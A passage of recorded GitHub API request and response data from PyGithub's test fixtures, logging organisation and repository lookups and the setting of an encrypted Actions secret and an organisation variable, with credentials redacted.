{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","url":"https://api.github.com/orgs/demoorg","repos_url":"https://api.github.com/orgs/demoorg/repos","events_url":"https://api.github.com/orgs/demoorg/events","hooks_url":"https://api.github.com/orgs/demoorg/hooks","issues_url":"https://api.github.com/orgs/demoorg/issues","members_url":"https://api.github.com/orgs/demoorg/members{/member}","public_members_url":"https://api.github.com/orgs/demoorg/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/demoorg","created_at":"2024-01-17T20:14:26Z","updated_at":"2024-01-17T22:24:36Z","archived_at":null,"type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":5,"collaborators":0,"billing_email":"me@example.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":false,"dependabot_security_updates_enabled_for_new_repositories":false,"dependency_graph_enabled_for_new_repositories":false,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null,"secret_scanning_validity_checks_enabled":false} https GET api.github.com None /repos/demoorg/demo-repo-1 {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:06:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7d6947bb6dc9709c7b930fe8f18991f5210224d5319fa50eb248979e9acf0627"'), ('Last-Modified', 'Wed, 17 Jan 2024 20:16:00 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4919'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '81'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED13:18EF96:DEECAAF:E12E89F:65BC2410')] {"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments","created_at":"2024-01-17T20:15:59Z","updated_at":"2024-01-17T20:16:00Z","pushed_at":"2024-01-17T20:16:00Z","git_url":"git://github.com/demoorg/demo-repo-1.git","ssh_url":"git@github.com:demoorg/demo-repo-1.git","clone_url":"https://github.com/demoorg/demo-repo-1.git","svn_url":"https://github.com/demoorg/demo-repo-1","homepage":null,"size":5,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/demoorg/demo-repo-2 {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:06:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"692b43682cf160985c81fe3af42dc9e2cf18886063e3d33e74568865389a3a33"'), ('Last-Modified', 'Thu, 01 Feb 2024 18:15:57 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4918'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '82'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED14:157E91:E3590BF:E5965E7:65BC2410')] {"id":751491527,"node_id":"R_kgDOLMrZxw","name":"demo-repo-2","full_name":"demoorg/demo-repo-2","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-2","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-2","forks_url":"https://api.github.com/repos/demoorg/demo-repo-2/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-2/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-2/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-2/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-2/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-2/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-2/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-2/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-2/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-2/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-2/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-2/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-2/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-2/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-2/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-2/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-2/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-2/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-2/deployments","created_at":"2024-02-01T18:02:27Z","updated_at":"2024-02-01T18:15:57Z","pushed_at":"2024-02-01T18:02:28Z","git_url":"git://github.com/demoorg/demo-repo-2.git","ssh_url":"git@github.com:demoorg/demo-repo-2.git","clone_url":"https://github.com/demoorg/demo-repo-2.git","svn_url":"https://github.com/demoorg/demo-repo-2","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /orgs/demoorg/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:06:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"326d11de4f24fa979dbeeaee53a8d66cd9957752fc68342c1f9b9095f9f7c03b"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4917'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '83'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED15:45DB9:DF3E31D:E17BD1A:65BC2410')] {"key_id":"3380204578043523366","key":"lEcXo0mlVf630hnPSTSCuXmGo2CxuIAKT7RRvZ1QjB4="} https PUT api.github.com None /orgs/demoorg/actions/secrets/secret_act_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380204578043523366", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "visibility": "selected", "selected_repository_ids": [744692002, 751491527]} 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:06:57 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4916'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '84'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED16:5E18E:E4A708A:E6E8D40:65BC2411')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testOrgVariable.txt0000644000175100001660000002275114756101563024466 0ustar00runnerdockerhttps GET api.github.com None /orgs/tecnoly {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"151546d41ba356a3ab126e7c41b4eac41d400db050ebc80fe18396328233c2af"'), ('Last-Modified', 'Wed, 30 Nov 2022 08:14:01 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4900'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '100'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6590:2BA8:EAFB2:1DBE2F:649C87C2')] {"login":"tecnoly","id":87164276,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg3MTY0Mjc2","url":"https://api.github.com/orgs/tecnoly","repos_url":"https://api.github.com/orgs/tecnoly/repos","events_url":"https://api.github.com/orgs/tecnoly/events","hooks_url":"https://api.github.com/orgs/tecnoly/hooks","issues_url":"https://api.github.com/orgs/tecnoly/issues","members_url":"https://api.github.com/orgs/tecnoly/members{/member}","public_members_url":"https://api.github.com/orgs/tecnoly/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/87164276?v=4","description":"","name":"Tecnoly","company":null,"blog":null,"location":"Mexico","email":null,"twitter_username":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":5,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/tecnoly","created_at":"2021-07-09T04:52:53Z","updated_at":"2022-11-30T08:14:01Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":2205,"collaborators":0,"billing_email":"mmartinez@tecno.ly","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"public","members_can_create_public_repositories":true,"members_can_create_private_repositories":false,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":true,"dependabot_security_updates_enabled_for_new_repositories":true,"dependency_graph_enabled_for_new_repositories":true,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null} https POST api.github.com None /orgs/tecnoly/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value", "visibility": "all"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] {} https PATCH api.github.com None /orgs/tecnoly/actions/variables/variable_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value123", "visibility": "all"} 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 